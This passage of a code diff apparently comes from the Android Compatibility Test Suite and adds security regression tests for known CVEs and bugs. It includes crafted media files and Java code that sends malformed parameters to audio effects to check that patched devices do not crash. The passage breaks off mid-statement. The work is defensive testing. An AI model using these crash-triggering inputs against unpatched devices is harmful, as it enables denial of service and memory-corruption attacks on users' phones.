+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format4 Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format4 Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenCmapFormat4Font-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index e5a610c..2c35952 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -221,4 +221,30 @@
                 typeface3, typeface4);
     }
 
+    public void testInvalidCmapFont_unsortedEntries() {
+        // Following two font files have glyph for U+0400 and U+0100 but the fonts must not be used
+        // due to invalid cmap data. For more details, see each ttx source file.
+        final String[] INVALID_CMAP_FONTS = { "unsorted_cmap4.ttf", "unsorted_cmap12.ttf" };
+        for (final String file : INVALID_CMAP_FONTS) {
+            final Typeface typeface = Typeface.createFromAsset(mContext.getAssets(), file);
+            assertNotNull(typeface);
+            final Paint p = new Paint();
+            final String testString = "\u0100\u0400";
+            final float widthDefaultTypeface = p.measureText(testString);
+            p.setTypeface(typeface);
+            final float widthCustomTypeface = p.measureText(testString);
+            assertEquals(widthDefaultTypeface, widthCustomTypeface, 0.0f);
+        }
+
+        // Following two font files have glyph for U+0400 U+FE00 and U+0100 U+FE00 but the fonts
+        // must not be used due to invalid cmap data. For more details, see each ttx source file.
+        final String[] INVALID_CMAP_VS_FONTS = {
+            "unsorted_cmap14_default_uvs.ttf",
+            "unsorted_cmap14_non_default_uvs.ttf"
+        };
+        for (final String file : INVALID_CMAP_VS_FONTS) {
+            final Typeface typeface = Typeface.createFromAsset(mContext.getAssets(), file);
+            assertNotNull(typeface);
+        }
+    }
 }
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index 6a8b9d3..ecf232f 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -27,7 +27,8 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil ctstestrunner
+    ctsdeviceutil ctstestrunner compatibility-device-util ctstestserver \
+    platform-test-annotations
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/location/src/android/location/cts/LocationManagerTest.java b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
index 3af213e..121b6fc 100644
--- a/tests/tests/location/src/android/location/cts/LocationManagerTest.java
+++ b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
@@ -33,6 +33,7 @@
 import android.location.LocationManager;
 import android.location.LocationProvider;
 import android.location.OnNmeaMessageListener;
+import android.platform.test.annotations.SecurityTest;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
index e7b8adf..7b74ba7 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
@@ -19,10 +19,7 @@
 
 import android.annotation.TargetApi;
 import android.content.Context;
-import android.cts.util.MediaUtils;
 import android.graphics.Bitmap;
-import android.media.MediaFormat;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.view.View;
 
@@ -139,23 +136,17 @@
 
     private void runH264DecodeAccuracyTest(
             VideoViewFactory videoViewFactory, VideoFormat videoFormat) {
-        if (MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.h264decodertestgolden);
-        }
+        runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.h264decodertestgolden);
     }
 
     private void runVP9DecodeAccuracyTest(
             VideoViewFactory videoViewFactory, VideoFormat videoFormat) {
-        if (MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_VP9)) {
-            runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.vp9decodertestgolden);
-        }
+        runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.vp9decodertestgolden);
     }
 
     private void runH264DecodeCroppedTest(
             VideoViewFactory videoViewFactory, VideoFormat videoFormat) {
-        if (MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.h264decodertest520x360golden);
-        }
+        runDecodeAccuracyTest(videoViewFactory, videoFormat, R.raw.h264decodertest520x360golden);
     }
 
     private void runDecodeAccuracyTest(
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 906ab7e..2d38933 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -371,16 +371,12 @@
         if (!hasCamera()) {
             return;
         }
-        mCamera = Camera.open(0);
-        setSupportedResolution(mCamera);
-        mCamera.unlock();
-
         mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
         mMediaRecorder.setOutputFile(OUTPUT_PATH2);
         mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
         mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
-        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
+        mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
 
         FileOutputStream fos = new FileOutputStream(OUTPUT_PATH2);
         FileDescriptor fd = fos.getFD();
@@ -428,6 +424,18 @@
         return 1;
     }
 
+    public void testRecordAudioFromAudioSourceUnprocessed() throws Exception {
+        if (!hasMicrophone() || !hasAmrNb()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.UNPROCESSED);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        mMediaRecorder.setOutputFile(OUTPUT_PATH);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
+        recordMedia(MAX_FILE_SIZE, mOutFile);
+    }
+
     public void testGetAudioSourceMax() throws Exception {
         final int max = MediaRecorder.getAudioSourceMax();
         assertTrue(MediaRecorder.AudioSource.DEFAULT <= max);
@@ -521,16 +529,12 @@
             MediaUtils.skipTest("no microphone, camera, or codecs");
             return;
         }
-        mCamera = Camera.open(0);
-        setSupportedResolution(mCamera);
-        mCamera.unlock();
-
         mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
         mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
         mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
         mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
-        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
+        mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
         mMediaRecorder.setVideoEncodingBitRate(256000);
         mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
         mMediaRecorder.setMaxFileSize(fileSize);
@@ -578,7 +582,6 @@
             mCamera = Camera.open(0);
             Camera.Parameters params = mCamera.getParameters();
             frameRate = params.getPreviewFrameRate();
-            setSupportedResolution(mCamera);
             mCamera.unlock();
             mMediaRecorder.setCamera(mCamera);
             mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
@@ -596,7 +599,7 @@
 
         mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
         mMediaRecorder.setVideoFrameRate(frameRate);
-        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
+        mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
 
         if (hasAudio) {
             mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
diff --git a/tests/tests/os/src/android/os/cts/SecurityPatchTest.java b/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
index f7cbcc4..f174424 100644
--- a/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
+++ b/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
@@ -32,7 +32,7 @@
     private static final String SECURITY_PATCH_DATE_ERROR =
             "ro.build.version.security_patch should be \"%d-%02d\" or later. Found \"%s\"";
     private static final int SECURITY_PATCH_YEAR = 2017;
-    private static final int SECURITY_PATCH_MONTH = 03;
+    private static final int SECURITY_PATCH_MONTH = 06;
 
     private boolean mSkipTests = false;
 
diff --git a/tests/tests/security/res/raw/bug_23270724_1.mp4 b/tests/tests/security/res/raw/bug_23270724_1.mp4
new file mode 100644
index 0000000..93a9b2e
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_23270724_1.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_23270724_2.mp4 b/tests/tests/security/res/raw/bug_23270724_2.mp4
new file mode 100644
index 0000000..fcdfcd2
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_23270724_2.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33251605.bmp b/tests/tests/security/res/raw/bug_33251605.bmp
new file mode 100644
index 0000000..0060ff4
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33251605.bmp
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34031018_32bit.xmf b/tests/tests/security/res/raw/bug_34031018_32bit.xmf
new file mode 100644
index 0000000..8f869ab
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_34031018_32bit.xmf
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34031018_64bit.xmf b/tests/tests/security/res/raw/bug_34031018_64bit.xmf
new file mode 100644
index 0000000..4ddd28d
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_34031018_64bit.xmf
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34097672.mp4 b/tests/tests/security/res/raw/bug_34097672.mp4
new file mode 100644
index 0000000..79acdf4
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_34097672.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37079296.mp4 b/tests/tests/security/res/raw/bug_37079296.mp4
new file mode 100644
index 0000000..b441fd1
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37079296.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_38116746.ico b/tests/tests/security/res/raw/bug_38116746.ico
new file mode 100644
index 0000000..35ee5b5
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_38116746.ico
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_38342499.mid b/tests/tests/security/res/raw/bug_38342499.mid
new file mode 100644
index 0000000..4d2e282
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_38342499.mid
Binary files differ
diff --git a/tests/tests/security/res/raw/onekhzsine_90sec.mp3 b/tests/tests/security/res/raw/onekhzsine_90sec.mp3
new file mode 100644
index 0000000..3049011
--- /dev/null
+++ b/tests/tests/security/res/raw/onekhzsine_90sec.mp3
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index e29ad53..7dad008 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -16,6 +16,7 @@
 package android.security.cts;
 
 import android.os.IBinder;
+import android.platform.test.annotations.SecurityTest;
 
 import junit.framework.TestCase;
 
@@ -26,6 +27,7 @@
         super.setUp();
     }
 
+    @SecurityTest
     public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
         try {
             /*
@@ -41,4 +43,4 @@
             // Patched devices should throw this exception
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 0d453da..327c666 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -20,6 +20,8 @@
 import android.media.AudioManager;
 import android.media.AudioTrack;
 import android.media.audiofx.AudioEffect;
+import android.media.audiofx.Equalizer;
+import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 
 import java.nio.ByteBuffer;
@@ -72,10 +74,12 @@
                 testEffect.test(audioEffect);
                 Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
             } catch (Exception e) {
-                Log.e(TAG, "effect " + testName + " " + descriptor.name + " failed!");
+                Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
+                        e);
                 ++failures;
             } catch (AssertionError e) {
-                Log.e(TAG, "effect " + testName + " " + descriptor.name + " failed!");
+                Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
+                        e);
                 ++failures;
             }
         }
@@ -84,6 +88,7 @@
     }
 
     // b/28173666
+    @SecurityTest
     public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
         testAllEffects("get parameter attempt offload",
                 new TestEffect() {
@@ -97,6 +102,7 @@
     // b/32438594
     // b/32624850
     // b/32635664
+    @SecurityTest
     public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
         testAllEffects("get parameter2 attempt offload",
                 new TestEffect() {
@@ -108,6 +114,7 @@
     }
 
     // b/30204301
+    @SecurityTest
     public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
         testAllEffects("set parameter attempt offload",
                 new TestEffect() {
@@ -118,6 +125,18 @@
         });
     }
 
+    // b/37536407
+    @SecurityTest
+    public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
+        testAllEffects("equalizer get parameter name",
+                new TestEffect() {
+            @Override
+            public void test(AudioEffect audioEffect) throws Exception {
+                testAudioEffectEqualizerGetParameterName(audioEffect);
+            }
+        });
+    }
+
     private static void testAudioEffectGetParameter(
             AudioEffect audioEffect, boolean offload) throws Exception {
         if (audioEffect == null) {
@@ -297,12 +316,44 @@
         }
     }
 
+    private static void testAudioEffectEqualizerGetParameterName(
+            AudioEffect audioEffect) throws Exception {
+        if (audioEffect == null) {
+            return;
+        }
+        try {
+            // get parameter name with zero vsize
+            {
+                final int param = Equalizer.PARAM_GET_PRESET_NAME;
+                final int band = 0;
+                byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
+                        .order(ByteOrder.nativeOrder())
+                        .putInt(0)          // status (unused)
+                        .putInt(8)          // psize (param, band)
+                        .putInt(0)          // vsize
+                        .putInt(param)      // equalizer param
+                        .putInt(band)       // equalizer band
+                        .array();
+                Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+                        "command", int.class, byte[].class, byte[].class).invoke(
+                                audioEffect, EFFECT_CMD_GET_PARAM, command,
+                                new byte[5 * 4] /* reply - ignored */);
+                assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+            }
+        } catch (NoSuchMethodException e) {
+            Log.w(TAG, "AudioEffect.command() does not exist (ignoring)"); // OK
+        } finally {
+            audioEffect.release();
+        }
+    }
+
     // should match effect_visualizer.h (native)
     private static final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
     private static final int VISUALIZER_CMD_CAPTURE = 0x10000;
     private static final int VISUALIZER_PARAM_CAPTURE_SIZE = 0;
 
     // b/31781965
+    @SecurityTest
     public void testVisualizerCapture_CVE_2017_0396() throws Exception {
         // Capture params
         final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
new file mode 100644
index 0000000..f3c2302
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.test.AndroidTestCase;
+
+import java.io.InputStream;
+
+import android.security.cts.R;
+
+public class BigRleTest extends AndroidTestCase {
+    /**
+     * Verifies that the device does not run OOM decoding a particular RLE encoded BMP.
+     *
+     * This image reports that its encoded length is over 4 gigs. Prior to fixing issue 33251605,
+     * we attempted to allocate space for all the encoded data at once, resulting in OOM.
+     */
+    public void test_android_bug_33251605() {
+        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
+        Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index 4d51ea7..83aa615 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -17,6 +17,7 @@
 package android.security.cts;
 
 import android.graphics.BitmapFactory;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import android.security.cts.R;
@@ -31,6 +32,7 @@
      * to heap corruption by trying to open a crafted PNG image with incorrect
      * npTc chunk.
      */
+    @SecurityTest
     public void testNinePatchHeapOverflow() throws Exception {
         InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource(
                 R.raw.cve_2015_1532));
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
new file mode 100644
index 0000000..c8bfbb1
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.BitmapFactory;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+
+import java.io.InputStream;
+
+import android.security.cts.R;
+
+@SecurityTest
+public class BitmapFactorySecurityTests extends AndroidTestCase {
+    private InputStream getResource(int resId) {
+        InputStream resource = mContext.getResources().openRawResource(R.raw.bug_38116746);
+        assertNotNull(resource);
+        return resource;
+    }
+
+    /**
+     * Verifies that decoding a corrupt ICO does not run out of memory.
+     */
+    public void test_android_bug_38116746() {
+        InputStream exploitImage = getResource(R.raw.bug_38116746);
+        try {
+            BitmapFactory.decodeStream(exploitImage);
+        } catch (OutOfMemoryError e) {
+            fail("OOM attempting to decode ICO");
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/BrowserTest.java b/tests/tests/security/src/android/security/cts/BrowserTest.java
index f468d66..e6039b8 100644
--- a/tests/tests/security/src/android/security/cts/BrowserTest.java
+++ b/tests/tests/security/src/android/security/cts/BrowserTest.java
@@ -21,6 +21,7 @@
 import android.content.pm.ResolveInfo;
 import android.net.Uri;
 import android.os.StrictMode;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import android.webkit.cts.CtsTestServer;
 
@@ -69,6 +70,7 @@
      * See commits  096bae248453abe83cbb2e5a2c744bd62cdb620b and
      * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability.
      */
+    @SecurityTest
     public void testTabReuse() throws InterruptedException {
         List<Intent> intents = getAllJavascriptIntents();
         for (Intent i : intents) {
@@ -107,6 +109,7 @@
      * See commits  096bae248453abe83cbb2e5a2c744bd62cdb620b and
      * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability.
      */
+    @SecurityTest
     public void testTabExhaustion() throws InterruptedException {
         List<Intent> intents = getAllJavascriptIntents();
         for (Intent i : intents) {
@@ -136,6 +139,7 @@
     /**
      * See Bug 6212665 for detailed information about this issue.
      */
+    @SecurityTest
     public void testBrowserPrivateDataAccess() throws Throwable {
         // Yucky workaround to let us launch file:// Uris
         StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().build());
diff --git a/tests/tests/security/src/android/security/cts/CharDeviceTest.java b/tests/tests/security/src/android/security/cts/CharDeviceTest.java
index 51975b9..06e0fbc 100644
--- a/tests/tests/security/src/android/security/cts/CharDeviceTest.java
+++ b/tests/tests/security/src/android/security/cts/CharDeviceTest.java
@@ -16,6 +16,8 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.SecurityTest;
+
 import junit.framework.TestCase;
 
 public class CharDeviceTest extends TestCase {
@@ -29,6 +31,7 @@
      *
      * Reference: http://forum.xda-developers.com/showthread.php?t=2048511
      */
+    @SecurityTest
     public void testExynosRootingVuln() throws Exception {
         assertTrue(doExynosWriteTest());
     }
@@ -38,6 +41,7 @@
      *
      * Reference: http://forum.xda-developers.com/showthread.php?t=2048511
      */
+    @SecurityTest
     public void testExynosKernelMemoryRead() throws Exception {
         assertTrue(doExynosReadTest());
     }
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
new file mode 100644
index 0000000..a0b0a7d
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -0,0 +1,401 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.media.audiofx.AudioEffect;
+import android.media.audiofx.Equalizer;
+import android.media.MediaPlayer;
+import android.platform.test.annotations.SecurityTest;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+
+public class EffectBundleTest extends InstrumentationTestCase {
+    private static final String TAG = "EffectBundleTest";
+    private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1};
+    private static final int mValue0 = 9999; //unlikely values. Should not change
+    private static final int mValue1 = 13877;
+    private static final int PRESET_CUSTOM = -1; //keep in sync AudioEqualizer.h
+
+    private static final int MEDIA_SHORT = 0;
+    private static final int MEDIA_LONG = 1;
+
+    //Testing security bug: 32436341
+    public void testEqualizer_getParamCenterFreq() throws Exception {
+        testGetParam(MEDIA_SHORT, Equalizer.PARAM_CENTER_FREQ, INVALID_BAND_ARRAY, mValue0,
+                mValue1);
+    }
+
+    //Testing security bug: 32588352
+    public void testEqualizer_getParamCenterFreq_long() throws Exception {
+        testGetParam(MEDIA_LONG, Equalizer.PARAM_CENTER_FREQ, INVALID_BAND_ARRAY, mValue0, mValue1);
+    }
+
+    //Testing security bug: 32438598
+    public void testEqualizer_getParamBandLevel() throws Exception {
+        testGetParam(MEDIA_SHORT, Equalizer.PARAM_BAND_LEVEL, INVALID_BAND_ARRAY, mValue0, mValue1);
+    }
+
+    //Testing security bug: 32584034
+    public void testEqualizer_getParamBandLevel_long() throws Exception {
+        testGetParam(MEDIA_LONG, Equalizer.PARAM_BAND_LEVEL, INVALID_BAND_ARRAY, mValue0, mValue1);
+    }
+
+    //Testing security bug: 32247948
+    public void testEqualizer_getParamFreqRange() throws Exception {
+        testGetParam(MEDIA_SHORT, Equalizer.PARAM_BAND_FREQ_RANGE, INVALID_BAND_ARRAY, mValue0,
+                mValue1);
+    }
+
+    //Testing security bug: 32588756
+    public void testEqualizer_getParamFreqRange_long() throws Exception {
+        testGetParam(MEDIA_LONG, Equalizer.PARAM_BAND_FREQ_RANGE, INVALID_BAND_ARRAY, mValue0,
+                mValue1);
+    }
+
+    //Testing security bug: 32448258
+    public void testEqualizer_getParamPresetName() throws Exception {
+        testParamPresetName(MEDIA_SHORT);
+    }
+
+    //Testing security bug: 32588016
+    public void testEqualizer_getParamPresetName_long() throws Exception {
+        testParamPresetName(MEDIA_LONG);
+    }
+
+    private void testParamPresetName(int media) {
+        final int command = Equalizer.PARAM_GET_PRESET_NAME;
+        for (int invalidBand : INVALID_BAND_ARRAY)
+        {
+            final byte testValue = 7;
+            byte reply[] = new byte[Equalizer.PARAM_STRING_SIZE_MAX];
+            Arrays.fill(reply, testValue);
+            if (!eqGetParam(media, command, invalidBand, reply)) {
+                fail("getParam PARAM_GET_PRESET_NAME did not complete successfully");
+            }
+            //Compare
+            if (invalidBand == PRESET_CUSTOM) {
+                final String expectedName = "Custom";
+                int length = 0;
+                while (reply[length] != 0) length++;
+                try {
+                    final String presetName =  new String(reply, 0, length,
+                            StandardCharsets.ISO_8859_1.name());
+                    assertEquals("getPresetName custom preset name failed", expectedName,
+                            presetName);
+                } catch (Exception e) {
+                    Log.w(TAG,"Problem creating reply string.");
+                }
+            } else {
+                for (int i = 0; i < reply.length; i++) {
+                    assertEquals(String.format("getParam should not change reply at byte %d", i),
+                            testValue, reply[i]);
+                }
+            }
+        }
+    }
+
+    //testing security bug: 32095626
+    public void testEqualizer_setParamBandLevel() throws Exception {
+        final int command = Equalizer.PARAM_BAND_LEVEL;
+        short[] value = { 1000 };
+        for (int invalidBand : INVALID_BAND_ARRAY)
+        {
+            if (!eqSetParam(MEDIA_SHORT, command, invalidBand, value)) {
+                fail("setParam PARAM_BAND_LEVEL did not complete successfully");
+            }
+        }
+    }
+
+    //testing security bug: 32585400
+    public void testEqualizer_setParamBandLevel_long() throws Exception {
+        final int command = Equalizer.PARAM_BAND_LEVEL;
+        short[] value = { 1000 };
+        for (int invalidBand : INVALID_BAND_ARRAY)
+        {
+            if (!eqSetParam(MEDIA_LONG, command, invalidBand, value)) {
+                fail("setParam PARAM_BAND_LEVEL did not complete successfully");
+            }
+        }
+    }
+
+    //testing security bug: 32705438
+    public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
+        assertTrue("testEqualizer_getParamFreqRangeCommand_short did not complete successfully",
+                eqGetParamFreqRangeCommand(MEDIA_SHORT));
+    }
+
+    //testing security bug: 32703959
+    public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
+        assertTrue("testEqualizer_getParamFreqRangeCommand_long did not complete successfully",
+                eqGetParamFreqRangeCommand(MEDIA_LONG));
+    }
+
+    //testing security bug: 37563371 (short media)
+    public void testEqualizer_setParamProperties_short() throws Exception {
+        assertTrue("testEqualizer_setParamProperties_long did not complete successfully",
+                eqSetParamProperties(MEDIA_SHORT));
+    }
+
+    //testing security bug: 37563371 (long media)
+    public void testEqualizer_setParamProperties_long() throws Exception {
+        assertTrue("testEqualizer_setParamProperties_long did not complete successfully",
+                eqSetParamProperties(MEDIA_LONG));
+    }
+
+    private boolean eqSetParamProperties(int media) {
+        MediaPlayer mp = null;
+        Equalizer eq = null;
+        boolean status = false;
+        try {
+            mp = MediaPlayer.create(getInstrumentation().getContext(),  getMediaId(media));
+            eq = new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+
+            int intSize = 4; //bytes
+            int shortSize = 2; //bytes
+
+            int cmdCode = 5; // EFFECT_CMD_SET_PARAM
+            byte command[] = concatArrays(/*status*/ intToByteArray(0),
